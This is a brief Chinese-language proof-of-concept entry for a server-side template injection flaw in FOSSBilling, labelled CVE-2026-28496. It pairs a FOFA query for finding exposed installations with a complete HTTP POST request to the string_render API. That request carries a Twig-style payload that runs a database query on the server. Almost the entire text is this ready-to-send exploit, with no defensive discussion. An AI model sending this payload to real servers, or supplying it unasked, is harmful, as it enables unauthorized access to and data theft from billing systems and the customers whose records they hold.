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# FOSSBilling存在SSTI注入(CVE-2026-28496)
## fofa
```javascript
body="FOSSBilling"
```
## poc
```javascript
POST /api/system/system/string_render HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=413880c8f22894b0446c13ae46e33c26; BBLANG=zh_CN
Connection: keep-alive
Content-Type: application/json
Content-Length: 79
{"_tpl":"{{ guest.getDi().db.getCell(\"SELECT database()\") }}","_try":false}
```
<img width="2268" height="888" alt="image" src="https://github.com/user-attachments/assets/fad12a43-95ef-47a0-9298-52f3a12ba820" />